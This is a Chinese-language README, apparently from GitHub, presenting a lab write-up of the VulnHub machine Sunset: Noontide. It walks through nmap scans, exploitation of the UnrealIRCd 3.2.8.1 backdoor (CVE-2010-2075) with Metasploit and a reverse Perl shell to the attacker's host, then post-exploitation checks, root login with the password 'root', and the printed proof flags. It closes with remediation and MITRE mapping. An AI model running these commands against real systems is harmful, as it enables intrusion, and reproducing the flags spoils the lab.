描述 对 Sunset: Noontide VulnHub 靶机的专业渗透测试评估,涵盖侦察、服务枚举、CVE-2010-2075 漏洞利用、后渗透、权限提升以及完整系统攻陷。
对 Sunset: Noontide 的专业渗透测试评估与 CTF 演练,这是一台来自 VulnHub 的故意存在漏洞的机器。
本项目记录了完整的渗透测试生命周期,包括侦察、服务枚举、漏洞研究、漏洞利用、初始访问、后渗透、权限提升、入侵证明、风险评估、MITRE ATT&CK 映射以及修复建议。
⚠️ 免责声明: 本次评估是在授权的实验室环境中针对一台故意存在漏洞的机器进行的。本文档中记录的技术和命令仅适用于已获得明确授权的系统。
| 组件 | 详情 |
|---|---|
| 目标 | Sunset: Noontide |
| 平台 | VulnHub |
| 目标 IP | 10.106.186.186 |
| 目标主机名 | noontide |
| 目标操作系统 | Debian GNU/Linux 10 (Buster) |
| 架构 | x86_64 |
| 攻击者平台 | Kali Linux |
| 攻击者 IP | 10.106.186.204 |
| 评估类型 | 授权实验室评估 |
| 总体风险 | 严重 |
| 评估结果 | 完全系统沦陷 |
目标发现 → Nmap 枚举 → 识别 UnrealIRCd 3.2.8.1 → SearchSploit → 识别 CVE-2010-2075 → Metasploit 漏洞利用 → 远程命令 Shell → 以 server 身份获取 Shell → Linux 后渗透 → 弱 Root 凭据 → su root → UID 0 / Root 访问 → 用户与 Root 证明文件
执行了初始网络发现以识别存在漏洞的目标。
目标最终被识别为:
10.106.186.186
在侦察过程中,10.106.186.142 被识别为默认网关,而非预期目标。
这凸显了在执行进一步安全测试之前正确识别目标的重要性,尤其是在桥接或共享实验室网络中。
使用以下命令对目标执行了 Nmap 服务和版本检测:
nmap -sV 10.106.186.186
评估期间识别出的重要暴露服务为:
6667/tcp open irc UnrealIRCd
随后使用以下命令执行了更详细的扫描:
nmap -sC -sV -Pn -p 6667 10.106.186.186
该服务被识别为:
UnrealIRCd 3.2.8.1
IRC 服务还报告了:
irc.foonet.com
暴露的 UnrealIRCd 服务成为评估期间调查的主要攻击面。
使用 SearchSploit 调查与所发现的 UnrealIRCd 版本相关的公开记录的漏洞。
命令:
searchsploit UnrealIRCd 3.2.8.1
相关结果为:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
该漏洞被识别为:
CVE-2010-2075
UnrealIRCd 3.2.8.1 后门命令执行
严重
远程命令执行
成功利用该存在漏洞的服务允许攻击者在目标系统上远程执行命令。
使用 Metasploit Framework 利用了存在漏洞的 IRC 服务。
所选模块为:
exploit/unix/irc/unreal_ircd_3281_backdoor
示例配置:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
初始 payload 尝试未产生可用会话。
随后选择了兼容的 Unix 反向 Perl payload:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit 报告目标似乎存在漏洞,并成功打开了一个命令 shell 会话。
使用以下命令验证了所获取的 shell:
whoami
结果:
server
这确认了以 server 账户成功执行远程命令。
初始工作目录为:
/home/server/irc/Unreal3.2
在此阶段,评估从远程服务利用推进到本地后渗透枚举。
获取 shell 后,执行了标准 Linux 枚举以了解被入侵的主机并识别潜在的权限提升路径。
命令:
id
结果:
uid=1000(server) gid=1000(server)
该账户为非 root 用户。
命令:
hostname
结果:
noontide
命令:
uname -a
结果:
Linux noontide 4.19.0-10-amd64 x86_64
命令:
cat /etc/os-release
结果:
Debian GNU/Linux 10 (buster)
这些命令确定了当前身份、主机名、内核版本、操作系统以及一般系统配置。
执行了若干标准 Linux 权限提升检查。
命令:
find / -perm -4000 -type f 2>/dev/null
识别出了标准 SUID 二进制文件,如 passwd、chsh、mount、umount、su、chfn、newgrp 和 gpasswd。
未识别出明显的自定义或异常 SUID 二进制文件作为成功的提升途径。
命令:
sudo -l
从可用输出中未识别出有用的基于 sudo 的权限提升路径。
命令:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
观察到的计划任务为标准的 Debian 风格系统任务。
未识别出明显的可写 root cron 任务。
命令:
find / -writable -type f 2>/dev/null | head -100
初始结果主要是 /proc 伪文件,未揭示实用的权限提升途径。
命令:
getcap -r / 2>/dev/null
从结果输出中未识别出有用的基于 capability 的权限提升。
成功的权限提升路径基于目标机器上配置的故意设置的弱 root 凭据。
使用以下命令访问了 root 账户:
su root
密码:
root
随后使用以下命令验证了 root 访问:
id
结果:
uid=0(root) gid=0(root) groups=0(root)
身份还通过以下命令得到确认:
whoami
结果:
root
这确认了对目标系统的完全管理控制。
用户级证明文件位于:
/home/server/local.txt
命令:
cat /home/server/local.txt
结果:
c53c08b5bf2b0801c5d0c24149826a6e
Root 级证明文件位于:
/root/proof.txt
命令:
cat /root/proof.txt
结果:
ab28c8ca8da1b9ffc2d702ac54221105
Root 证明还返回了:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
两个证明文件的恢复确认了从初始远程访问到 root 级控制的成功沦陷。
| ID | 发现 | 严重性 | 影响 |
|---|---|---|---|
| VULN-01 | UnrealIRCd 3.2.8.1 后门 | 🔴 严重 | 远程命令执行 |
| VULN-02 | 弱 Root 凭据 | 🔴 严重 | 完全管理沦陷 |
严重性: 严重
受影响服务: IRC / TCP 6667
受影响软件: UnrealIRCd 3.2.8.1
CVE: CVE-2010-2075
攻击类型: 远程命令执行
观察到的影响: 以 server 身份获取远程 shell
暴露的 UnrealIRCd 服务运行的是与已知后门命令执行漏洞相关的存在漏洞的版本。
该漏洞通过服务枚举和 SearchSploit 研究被识别,并使用 Metasploit 成功利用。
能够访问存在漏洞的 IRC 服务的攻击者可以远程执行命令并获得对主机的未授权访问。
严重性: 严重
受影响账户: root
观察到的凭据: root / root
观察到的影响: UID 0 管理访问
root 账户配置了极其弱的凭据。
在以 server 身份获取本地 shell 后,使用该弱凭据访问了 root 账户,并以 UID 0 验证。
获得本地 shell 访问权限的攻击者可以使用弱 root 凭据获得对操作系统的完全控制。
将存在漏洞的 UnrealIRCd 安装替换为受信任且受支持的版本。
在部署前验证软件完整性和软件包来源。
如果软件完整性或来源不确定,请使用受信任的安装介质和经过验证的软件包重建系统。
将默认和弱凭据替换为强且唯一的管理凭据。
不要使用诸如 root 之类的简单密码。
如果需要 IRC,请使用以下方式限制访问:
为操作系统和所有暴露的服务维护有记录的补丁管理流程。
记录并审查:
Sunset: Noontide 主机从初始网络访问到完全 root 级控制被成功沦陷。
主要的初始访问漏洞是 UnrealIRCd 3.2.8.1 后门(CVE-2010-2075)。
该漏洞提供了远程命令执行,并导致以 server 账户获得初始 shell。
随后执行了后渗透枚举,包括 SUID、sudo、cron、可写文件、Linux capability、身份、操作系统和文件系统检查。
这些检查未识别出成功的提升途径。
完全管理访问最终通过该机器的弱 root 凭据实现。
用户级和 root 级证明文件的成功恢复确认了完全系统沦陷。
严重 — 已实现完全系统沦陷
本项目附有详细的专业渗透测试报告:
Sunset-Noontide-Penetration-Testing-Report.pdf
报告包含:
建议的仓库结构:
sunset-noontide-pentesting/
├── README.md
├── Sunset-Noontide-Penetration-Testing-Report.pdf
└── evidence/
├── 01-target-discovery.png
├── 02-nmap-enumeration.png
├── 03-searchsploit.png
├── 04-metasploit-exploitation.png
├── 05-initial-shell.png
├── 06-post-exploitation.png
├── 07-privilege-escalation.png
└── 08-root-proof.png
截图应仅包含来自授权实验室环境的信息。
本次评估提供了以下方面的实践经验:
本仓库严格用于:
本仓库中记录的技术只能针对已获得明确授权的系统执行。
未经许可,请勿对生产系统、公共基础设施或第三方系统使用这些技术。
Alen Sales K S
Cybersecurity | Penetration Testing | SOC | Network Security
GitHub: https://github.com/zales2004
Sunset: Noontide 展示了完整的渗透测试工作流程:
侦察 → 枚举 → 漏洞研究 → 漏洞利用 → 初始访问 → 后渗透 → 权限提升 → Root 访问 → 证据收集 → 风险评估 → 安全报告
评估结果:严重 — 已实现完全系统沦陷
| 技术 | ID | 观察到的活动 |
|---|
| 网络服务扫描 | T1046 | Nmap 枚举 |
| 利用面向公众的应用程序 | T1190 | 利用暴露的 UnrealIRCd 服务 |
| 命令和脚本解释器 | T1059 | 远程命令 shell |
| 有效账户 | T1078 | 使用 root 凭据 |
| 账户发现 | T1087 | 身份和用户枚举 |
| 系统信息发现 | T1082 | uname 和 /etc/os-release |
| 文件和目录发现 | T1083 | 文件系统枚举 |
| 计划任务/作业发现 | T1053 | Cron 枚举 |
| 权限组发现 | T1069 | id 和组枚举 |
| 阶段 | 活动 |
|---|
| 侦察 | 网络发现和目标识别 |
| 枚举 | Nmap 服务/版本检测 |
| 漏洞研究 | SearchSploit 和 Metasploit 模块识别 |
| 漏洞利用 | UnrealIRCd 后门利用 |
| 初始访问 | 以 server 身份获取命令 shell |
| 后渗透 | 身份、操作系统、文件系统和权限枚举 |
| 权限提升 | SUID、sudo、cron、可写文件和 capability 检查 |
| 证据收集 | 用户和 root 证明文件 |
| 报告 | 发现、风险分析和修复 |
| 目标 | 状态 |
|---|
| 目标已识别 | ✅ 通过 |
| 暴露的服务已识别 | ✅ 通过 |
| 存在漏洞的版本已识别 | ✅ 通过 |
| CVE 已识别 | ✅ 通过 |
| 远程命令执行 | ✅ 通过 |
以 server 身份获取初始 Shell | ✅ 通过 |
| 用户证明已恢复 | ✅ 通过 |
| 权限提升 | ✅ 通过 |
| Root 访问已验证 | ✅ 通过 |
| Root 证明已恢复 | ✅ 通过 |